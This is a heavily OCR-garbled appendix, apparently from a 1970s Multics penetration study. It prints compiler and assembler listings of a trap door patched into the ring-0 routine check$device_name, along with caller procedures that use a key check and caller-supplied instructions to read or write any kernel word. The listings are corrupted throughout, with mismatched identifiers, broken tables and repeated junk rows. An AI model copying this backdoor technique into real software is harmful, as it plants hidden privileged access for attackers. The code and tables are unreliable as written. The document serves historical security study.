DO I = MVOFFSET TO MVOFFSET+11, MVOFFSET+14 TO MVOFFSET+23 /* ZERO OUT ALL BUT 2 INSTRUCTION PATCH */
  CALL FI (ADDRL (MVP, I), "0"b); /* OTHER WORDS WERE Filled FROM REGISTERS */
END;
NAME DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000012</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 15 16 18 22 23</td>
</tr>
<tr>
<td>cos_err_</td>
<td>000014</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 18</td>
</tr>
<tr>
<td>dia</td>
<td>000020</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 25</td>
</tr>
<tr>
<td>fi</td>
<td>000016</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 27</td>
</tr>
<tr>
<td>i</td>
<td>000013</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 26 27 27</td>
</tr>
<tr>
<td>mwoffset</td>
<td></td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>initial dcl 6 ref 25 25 26 26 26</td>
</tr>
<tr>
<td>mvp</td>
<td>000014</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 6 set ref 22 25 25 27 27</td>
</tr>
<tr>
<td>ring0_get$$eptr</td>
<td>000012</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 15 22</td>
</tr>
<tr>
<td>sp</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 6 set ref 15 25</td>
</tr>
</tbody>
</table>

NAME DECLARED BY EXPLICIT CONTEXT.

| di           | 000020   | constant           | entry               | external dcl 1 ref 1               |
| error        | 000061   | constant           | label               | dcl 18 ref 18 23                   |

NAME DECLARED BY CONTEXT OR IMPLICATION.

<table>
<thead>
<tr>
<th>NAME</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td>external ref 25 25 27 27</td>
</tr>
<tr>
<td>builtin function</td>
<td>internal ref 25 25 27 27</td>
</tr>
</tbody>
</table>

STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>OBJECT</th>
<th>NAME</th>
<th>STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

External procedure di uses 110 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

- call_ext_out_desc
- call_ext_out
- return
- ext_entry
- rpd_loop_i_init

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

- cos_err_
- dia
- fi
- ring0_get$$eptr

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>NAME</th>
<th>STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000017</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>25</td>
<td>0000134</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
ASSEMBLY LISTING OF SEGMENT >user_dir_dir>Druid>Kernel>compiler_pool>dia.dia
ASSEMBLED ON: 04/11/74 14:24:47 edt Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 17:28:36 edt Wed

000000 0  name dia
000000 0 000000 0
000000 2  entry dia
3  tempd return_pointer,do_it_ptr
4  dia  push

000000 6 00022 3521 20
000001 2 00020 6521 00
000002 2 00060 3521 00
000003 2 77742 2521 00
000004 2 77720 3331 00
000005 6 00032 2501 00
000006 0 000030 2373 00
5  ldpq xed_inst
C 000007 0 a 00023 3520 00
000010 6 00050 2521 00
7  stppp return_pointer
C 000011 6 00036 3701 00
000012 9 00004 3521 20
8  eappp return_pointer-10
C 000013 2 00000 3521 20
9  eappp sp14,*
C 000014 6 00052 2521 00
10 eappp bp10,*
C 000015 0 00002 3521 20
11 stppp do_it_ptr
C 000016 2 00000 3521 20
12 eappp sp12,*
C 000017 6 00000 3521 00
13 eappp sp10
C 000020 6 00052 3721 20
14 eappp do_it_ptr,*
C 000021 7 77777 6200 00
15 eax0 -1
000022 0 00000 7101 00
16 tra sp10
17 transfer to signaller
18 return_inst
C 000023 2 00000 3721 00
19 eappp bp10
18 return
000024 6 00020 1731 20
20 return
000025 6 00010 0731 00
21
000026 6 00024 6101 00
22 even

000027 0 00000 0110 03
23 inhibit on
000030 2 00000 7173 00
24 xed_inst xed bp10
000031 2 00002 7103 00
25 tra bp12
26 inhibit off
27
28 end

NO LITERALS
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000032 5a 000003 000000
000033 2a 000012 000001
dia
000034 5a 003144 151141
000035 5a 000011 000000
000036 5a 000000 000002
000037 3a 014163 171155
000040 3a 142197 154137
000041 3a 164141 142154
000042 3a 145000 000000
000043 5a 000016 000000
000044 5a 000037 000002
000045 3a 010162 145154
000046 3a 137164 145170
000047 3a 164000 000000
000050 5a 000023 000000

000052 3a 010162 145154
000053 3a 137154 151156
000054 3a 153000 000000
000055 3a 000030 000000

000057 3a 012162 145154
000060 3a 137163 171155
000061 3a 142157 154000
000062 3a 000000 000000

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000063 3a 000001 000000
000064 3a 000000 000000

INTERNAL EXPRESSION WORDS

000065 5a 000031 000000
<table>
<thead>
<tr>
<th>Linkage Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000  aa  000000  000000</td>
</tr>
<tr>
<td>000001  3a  000032  000000</td>
</tr>
<tr>
<td>000002  aa  000000  000000</td>
</tr>
<tr>
<td>000003  aa  000000  000000</td>
</tr>
<tr>
<td>000004  aa  000000  000000</td>
</tr>
<tr>
<td>000005  aa  000000  000000</td>
</tr>
<tr>
<td>000006  22  000100  000020</td>
</tr>
<tr>
<td>000007  2  000000  000020</td>
</tr>
<tr>
<td>000010  3a  777770  0000 46</td>
</tr>
<tr>
<td>000011  5a  000033  0000 17</td>
</tr>
<tr>
<td>000012  3a  777766  3700  04</td>
</tr>
<tr>
<td>000013  5a  000033  0540  04</td>
</tr>
<tr>
<td>000014  3a  000000  6270  00</td>
</tr>
<tr>
<td>000015  5a  777773  7100  24</td>
</tr>
<tr>
<td>000016  aa  000000  000000</td>
</tr>
<tr>
<td>000017  aa  000000  000000</td>
</tr>
</tbody>
</table>

*text!

(entry_sequence)
<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>*text</td>
<td>dial</td>
<td>2,</td>
</tr>
<tr>
<td>52</td>
<td>do_it_ptr</td>
<td>dial</td>
<td>2, 4,</td>
</tr>
<tr>
<td>23</td>
<td>return_inst</td>
<td>dial</td>
<td>3, 11, 15,</td>
</tr>
<tr>
<td>50</td>
<td>return_pointer</td>
<td>dial</td>
<td>6, 18,</td>
</tr>
<tr>
<td>30</td>
<td>xed_inst</td>
<td>dial</td>
<td>3, 7, 8,</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
proc (fixp, word);

declare
    ring0_get$segptr entry (char (*), char (*), ptr, fixed bin),
    mwoffset fixed bin int static init (296),
    ( sp, mwp)
    ptr,
    code fixed bin,
    fixp ptr,
    word bit (36) aligned,
    fila entry (ptr, ptr, ptr, bit (36) aligned),
    com_err_entry options (variable),
    flag$ia entry (ptr, ptr, ptr, bit (36) aligned),
    fix bit (1) aligned;
    fix = "i"b;
    go to common;

entry (fixp, word); /* Entry to read out 36 bits */

fix = "g"b;

call ring0_get$segptr ("", "signaller", sp, code); /* get segment number of signaller */
if code ^= 0 then
    do;
error:
    call com_err_ (code, "fl");
    return;
end;
call ring0_get$segptr ("", "emergency_shutdown.link", mwp, code); /* get segment number of emergency_shutdown */
if code ^= 0 then go to error;
if fix then call fila (sp, addr1 (mwp, mwoffset+12), fixp, word); /* call SII program to finish */
else call flag$ia (sp, addr1 (mwp, mwoffset+12), fixp, word);
end;
### NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000104</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 28 30 32 36 37</td>
</tr>
<tr>
<td>com_err_</td>
<td>000016</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 32</td>
</tr>
<tr>
<td>fia</td>
<td>000014</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 38</td>
</tr>
<tr>
<td>fia$gia</td>
<td>000020</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 39</td>
</tr>
<tr>
<td>fix</td>
<td>000105</td>
<td>automatic</td>
<td>bit(1)</td>
<td>dcl 7 set ref 19 26 38</td>
</tr>
<tr>
<td>fixp</td>
<td>000106</td>
<td>parameter</td>
<td>pointer</td>
<td>dcl 7 set ref 1 23 38 39</td>
</tr>
<tr>
<td>msoffset</td>
<td>000102</td>
<td>constant</td>
<td>pointer</td>
<td>initial dcl 7 ref 38 39 39 39</td>
</tr>
<tr>
<td>mvp</td>
<td>000102</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 36 38 39 39 39</td>
</tr>
<tr>
<td>ring0_get_8segptr</td>
<td>000014</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 28 38 39 39</td>
</tr>
<tr>
<td>sp</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 28 38 39</td>
</tr>
<tr>
<td>word</td>
<td>000100</td>
<td>parameter</td>
<td>bit(36)</td>
<td>dcl 7 set ref 1 23 38 39</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY EXPLICIT CONTEXT.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>common</td>
<td>000040</td>
<td>constant</td>
<td>label</td>
<td>dcl 28 ref 28</td>
</tr>
<tr>
<td>error</td>
<td>000076</td>
<td>constant</td>
<td>label</td>
<td>dcl 32 ref 32</td>
</tr>
<tr>
<td>fia</td>
<td>000021</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td>gi</td>
<td>000032</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 25 ref 23</td>
</tr>
</tbody>
</table>

### NAME DECLARED BY CONTEXT OR IMPLICATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>address</td>
<td></td>
<td></td>
<td>built-in function</td>
<td>internal ref 38 38 39 39</td>
</tr>
</tbody>
</table>

### STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>304</td>
<td>326</td>
<td>224</td>
</tr>
<tr>
<td>Length</td>
<td>470</td>
<td>224</td>
<td>22</td>
<td>130</td>
<td>60</td>
</tr>
</tbody>
</table>

External procedure fia uses 14 words of automatic storage

**THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.**

- call_ext_out_desc
- call_ext_out
- return

- ext_entry

**THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.**

- com_err_
- fia
- fia$gia
- ring0_get_8segptr

**NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.**

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000020</td>
<td>19</td>
<td>000026</td>
<td>20</td>
<td>000030</td>
<td>23</td>
<td>000031</td>
<td>26</td>
<td>000037</td>
</tr>
<tr>
<td>32</td>
<td>000076</td>
<td>34</td>
<td>000119</td>
<td>36</td>
<td>000116</td>
<td>37</td>
<td>000152</td>
<td>38</td>
<td>000154</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>39</td>
<td>000201</td>
<td>39</td>
<td>000074</td>
<td>40</td>
<td>000022</td>
<td>40</td>
<td>000022</td>
<td>40</td>
<td>000022</td>
</tr>
</tbody>
</table>
ASSEMBLY LISTING OF SEGMENT

ASSEMBLED ON: 04/11/74 1826.0 EDT Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 1728.8 EDT Wed

000000 000000 000000 000001 000001 000002 000003 000004 000005
   1    2    3    4    5    6    7    8    9
name fia
entry fia
gia
   5     6
tempd trdp,fixp,wordp
temp word

000000 000000 000001 000002 000003 000004 000005
   10   11   12   13   14   15   16   17   18
   19   20   21   22   23   24   25   26   27
   28   29   30   31   32   33   34   35   36
   37   38   39   40   41

entry to store 36 bits
ptr to trp
ptr to where to store
ptr to trapdoor in esp,link
ptr to instructions to xed
ptr to trp
transfer to signaler

000024 000025 000026 000027 000028
   24   25   26   27   28
inhibit on
ldq word
stq fixp
inhibit off
return

000031 000032 000033 000034 000035 000036
   29   30   31   32   33   34

entry to read out 36 bits
ptr to output argument
ptr to where to read
ptr to trp

000037 000038 000039 000040 000041 000042 000043 000044 000045 000046 000047
   35   36   37   38   39   40

ptr to trp
ptr to instructions to xed
"Transfer to signaler"

"Trapdoor xed's these"

"Load thru ptr"

"Store in output argument"

"Trapdoor does tra bpl2"

"And returns here"

NO LITERALS
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

<table>
<thead>
<tr>
<th>Address</th>
<th>Type</th>
<th>Offset</th>
<th>Size</th>
<th>Label</th>
</tr>
</thead>
<tbody>
<tr>
<td>000062</td>
<td>3a</td>
<td>000003</td>
<td>00000</td>
<td>gia</td>
</tr>
<tr>
<td>000063</td>
<td>2a</td>
<td>000020</td>
<td>00000</td>
<td></td>
</tr>
<tr>
<td>000064</td>
<td>2a</td>
<td>003147</td>
<td>151141</td>
<td></td>
</tr>
<tr>
<td>000065</td>
<td>3a</td>
<td>000006</td>
<td>00000</td>
<td></td>
</tr>
<tr>
<td>000066</td>
<td>2a</td>
<td>000012</td>
<td>000001</td>
<td></td>
</tr>
<tr>
<td>000067</td>
<td>3a</td>
<td>003146</td>
<td>151141</td>
<td></td>
</tr>
<tr>
<td>000070</td>
<td>5a</td>
<td>000014</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000071</td>
<td>5a</td>
<td>000010</td>
<td>000002</td>
<td></td>
</tr>
<tr>
<td>000072</td>
<td>5a</td>
<td>014163</td>
<td>171155</td>
<td>symbol_table</td>
</tr>
<tr>
<td>000073</td>
<td>5a</td>
<td>142157</td>
<td>154137</td>
<td></td>
</tr>
<tr>
<td>000074</td>
<td>5a</td>
<td>164141</td>
<td>142154</td>
<td></td>
</tr>
<tr>
<td>000075</td>
<td>5a</td>
<td>145000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000076</td>
<td>5a</td>
<td>000021</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000077</td>
<td>5a</td>
<td>000037</td>
<td>000002</td>
<td></td>
</tr>
<tr>
<td>000100</td>
<td>5a</td>
<td>010162</td>
<td>145154</td>
<td>rel_text</td>
</tr>
<tr>
<td>000101</td>
<td>5a</td>
<td>137164</td>
<td>145170</td>
<td></td>
</tr>
<tr>
<td>000102</td>
<td>5a</td>
<td>164000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000103</td>
<td>5a</td>
<td>000026</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000105</td>
<td>5a</td>
<td>010162</td>
<td>145154</td>
<td>rel_link</td>
</tr>
<tr>
<td>000106</td>
<td>5a</td>
<td>137154</td>
<td>151156</td>
<td></td>
</tr>
<tr>
<td>000107</td>
<td>5a</td>
<td>153000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000110</td>
<td>5a</td>
<td>000033</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000112</td>
<td>5a</td>
<td>012162</td>
<td>145154</td>
<td>rel_symbol</td>
</tr>
<tr>
<td>000113</td>
<td>5a</td>
<td>137163</td>
<td>171155</td>
<td></td>
</tr>
<tr>
<td>000114</td>
<td>5a</td>
<td>142157</td>
<td>154000</td>
<td></td>
</tr>
<tr>
<td>000115</td>
<td>5a</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
</tbody>
</table>

II

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

<table>
<thead>
<tr>
<th>Address</th>
<th>Type</th>
<th>Offset</th>
<th>Size</th>
<th>Label</th>
</tr>
</thead>
<tbody>
<tr>
<td>000116</td>
<td>5a</td>
<td>000001</td>
<td>00000</td>
<td></td>
</tr>
<tr>
<td>000117</td>
<td>5a</td>
<td>000000</td>
<td>00000</td>
<td></td>
</tr>
</tbody>
</table>

INTERNAL EXPRESSION WORDS

<table>
<thead>
<tr>
<th>Address</th>
<th>Type</th>
<th>Offset</th>
<th>Size</th>
<th>Label</th>
</tr>
</thead>
<tbody>
<tr>
<td>000120</td>
<td>5a</td>
<td>000034</td>
<td>00000</td>
<td></td>
</tr>
<tr>
<td>000121</td>
<td>5a</td>
<td>000000</td>
<td>00000</td>
<td></td>
</tr>
</tbody>
</table>
### LINKAGE INFORMATION

| 000000 | aa | 000000 000000 |
| 000001 | 0a | 000000 000000 |
| 000002 | aa | 000000 000000 |
| 000003 | aa | 000000 000000 |
| 000004 | aa | 000000 000000 |
| 000005 | aa | 000000 000000 |
| 000006 | 22 | 000010 000026 |
| 000007 | 32 | 000000 000026 |
| 000010 | 3a | 777770 000046 |
| 000011 | 5a | 000036 000017 |
| 000012 | 3a | 777766 3700 04 | *(entry_sequence)*
| 000013 | La | 000033 0540 04 |
| 000014 | 3a | 000000 6270 00 |
| 000015 | La | 777773 7100 24 |
| 000016 | aa | 000000 000000 |
| 000017 | aa | 000000 000000 |
| 000020 | 3a | 777760 3700 04 | *(entry_sequence)*
<p>| 000021 | La | 000033 0540 04 |
| 000022 | 3a | 000031 6270 00 |
| 000023 | La | 777765 7100 24 |
| 000024 | aa | 000000 000000 |
| 000025 | aa | 000000 000000 |</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>*text</td>
<td>flat</td>
<td>2, 3</td>
</tr>
<tr>
<td>0</td>
<td>fix</td>
<td>flat</td>
<td>2, 7</td>
</tr>
<tr>
<td>52</td>
<td>fixp</td>
<td>flat</td>
<td>5, 13, 26, 36, 48</td>
</tr>
<tr>
<td>31</td>
<td>gie</td>
<td>flat</td>
<td>3, 31</td>
</tr>
<tr>
<td>24</td>
<td>idq_sta</td>
<td>flat</td>
<td>18, 29</td>
</tr>
<tr>
<td>54</td>
<td>idq_stq_in_arg</td>
<td>flat</td>
<td>41, 47</td>
</tr>
<tr>
<td>50</td>
<td>trp_d</td>
<td>flat</td>
<td>5, 16, 17, 39, 40</td>
</tr>
<tr>
<td>56</td>
<td>word</td>
<td>flat</td>
<td>6, 10, 25</td>
</tr>
<tr>
<td>54</td>
<td>wordp</td>
<td>flat</td>
<td>5, 33, 49</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
APPENDIX C

Trap door in check$device_name Listing

This appendix contains listings of the trap door inserted in check$device_name in Section 3.4.5.2 and the two modules needed to call the trap door. Check$device_name is actually one entry point in the procedure check$device_index. The patches are shown in the assembly language listing of the code produced by the PL/I compilation of check$device_index. Most of the patches were placed in the entry sequence to check$device_index, taking advantage of the fact that PL/I entry sequences contain the ASCII representation of the entry name for debugging purposes. Since the debugger cannot run in ring 0, this is essentially free patching space. Additional patches were placed at each return point from check$device_name, so that the trap door would be executed whenever check$device_name returned to its caller.

Zg is a PL/I procedure which calls the trap door to either read or write any 36-bit word accessible in ring 0. Zg uses zdata, an assembly language routine, to define a structure in the linkage section which contains machine instructions with which to communicate with the trap door.

The trap door algorithm is as follows:

1. Set the bp register to point to the argument rcode. Rcode has been bound to zdata$code in the procedure call from zg and must lie on an odd word boundary.

2. Compare the double word at bp|1 with the key string in the trap door to see if this is a legitimate user calling. If the keys do not match, then just return. If the keys do match, then we know who this is and must proceed.

3. Do an execute double (XED) on the two instruction at bp|3. This allows the caller to provide any instructions desired.

4. The two instructions provided by zdata at bp|3 and bp|5 are ldq bp|5 and stq bp|7. Bp|5 and bp|7 contain pointers to the locations from which to read and to which to write, respectively. These pointers are set in zg.

5. Finally, the trap door simply returns upon completion of the XED pair.

115
COMPILATION LISTING OF SEGMENT check
Compiled on: 02/21/74 11:53:3 am Thu

checksdevice_index proc (devx, dp, cctp, pcode);
dcl devx fixed bin (12),
  /* dp ptr, */
  cctp ptr,
  pcode fixed bin (17),
  cctno fixed bin (18)),
        dcl code fixed bin(17);
dcl ioam_check ext entry;
dcl error_table_grim_no_cat ext fixed bin,
  error_table_sdev_ptr_amnd ext fixed bin,
  error_table_grim_badarg ext fixed bin;

/* BEGIN INCLUDE ....... dct ....... */
/* Declaration for the Device Configuration Table */
dcl 1 dct_seg@ ext aligned,
  2 ndev fixed bin (17),
  2 degc (300 /* dev_num_max */ ),
    3 dev_num char (32),
    3 phys_num char (32),
    3 gids fixed bin (3),
    3 physchn fixed bin (12),
    3 direct_chan bit (1)
/* END INCLUDE ....... dct ....... */

/* BEGIN INCLUDE ....... cat ....... */
/* Channel Assignment Table for the GIOM Interface Module */
dcl 1 cat_seg@ ext aligned,
  2 event fixed bin,
  2 abs_base fixed bin (24),
  2 stat_base bit (3),
  2 safeptr,
  2 devtab (200),
  (3 cctno bit (18),
  /* GIOM wait event */
  /* absolute address of base of DCW segment */
  /* status channel used by GIOM */
  /* pointer to safety DCW pair */
  /* per-device-index information accessed */
  /* by the "devx" presented in the GIOM calls */
  /* segment number of the CCT for this user */
  /* = only accessed by one process */
3 dcw_rel_addr bit (18);
3 dcw_list_len bit (12);
3 stat_x bit (10);
3 end_x bit (10);
3 pad bit (1);
3 status_lost bit (1);
3 dir_chan bit (1);
3 pad1 bit (1) unaligned,
2 free_x fixed bin (10);
2 overflow fixed bin (18);
2 stat_q (512) fixed bin (71);  

// offset of dcw list within dcw segment */
// zero is interpreted as dcw-list not */
// yet allocated */
// size of dcw list in dcw's */
/*
// index pointing to oldest item in status queue */
/*
// index pointing to end of status queue */
/*
/*
// of if status lost */
/*
// on if direct channel */
/*
// guess again */
/*
// index pointing to head of free status queue */
/*
// status queue overflow count */
/*
// remember to change cur_length of cat_see on */
// hardcode header if you change this */
/*
// pointer to devtab entry */
/* "devtab" entry declaration */
```c
101 rcoda = 0;
102 dp = address(cat_seg, devtab {devx});
103 call ioam_check(devx, code); /* see if device assigned to this process */
104 if code "X" then do;
105     rcode = error_table$devnt$send;
106     ccp = null;
107     return;
108 end;
109 cctno = dp -> dev_entry, cctno;
110 if cctno = 0 then do;
111     rcode = error_table$dev_no_cct;
112     ccp = null;
113     return;
114 end;
115 ccp = baseptr(cctno);
116 return;
117
device_name; entry (devnam, dotx, rcode);
118
dcl devnam char (*.);
119 dcl dotx fixed bin (11);
120
call dotx fixed bin (11); /* device name */
121 /* device index from DCT */
122
tos setup and search the DCT for match */
123
code = 0;
124 do dotx = 1 to dotx$seg$dev;
125     if dotx$seg$desc (dotx), devnam = devnam then return;
126 end;
127
/* no matches, set complaint */
128 rcode = error_table$dev_baddry;
129 return;
130 end;
```
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>abx_bang</td>
<td>external static</td>
<td>fixed bin(44,0)</td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>cttdg</td>
<td>external static</td>
<td>structure</td>
<td>level 1 aligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td>automatic</td>
<td>fixed bin(18,0)</td>
<td>dcl 8 ref 112 117</td>
</tr>
<tr>
<td>cttg</td>
<td>based</td>
<td>bit(18)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cttph</td>
<td>parameter</td>
<td>bit(18)</td>
<td>level 2 unaligned dcl 93 ref 111</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td>pointed</td>
<td>dcl 9 ref 108 109 117</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>dcl 10 ref 105 106</td>
</tr>
<tr>
<td>cttph</td>
<td></td>
<td></td>
<td>level 4 aligned dcl 31</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>dcl 125 ref 130 131 132</td>
</tr>
<tr>
<td>cttph</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93 ref 131</td>
</tr>
<tr>
<td>cttph</td>
<td></td>
<td></td>
<td>level 1 aligned dcl 93</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 31 ref 131</td>
</tr>
<tr>
<td>cttph</td>
<td></td>
<td></td>
<td>level 1 unaligned dcl 93</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78 ref 109</td>
</tr>
<tr>
<td>cttph</td>
<td></td>
<td></td>
<td>dcl 9 ref 108 105</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93 ref 104 111</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>dcl 16 ref 107</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>dcl 16 ref 136</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 2 aligned dcl 78 ref 113</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 31</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>external irreducible ref 105</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 aligned dcl 31 ref 130</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 31</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>dcl 8 ref 103 107 112 129 136</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
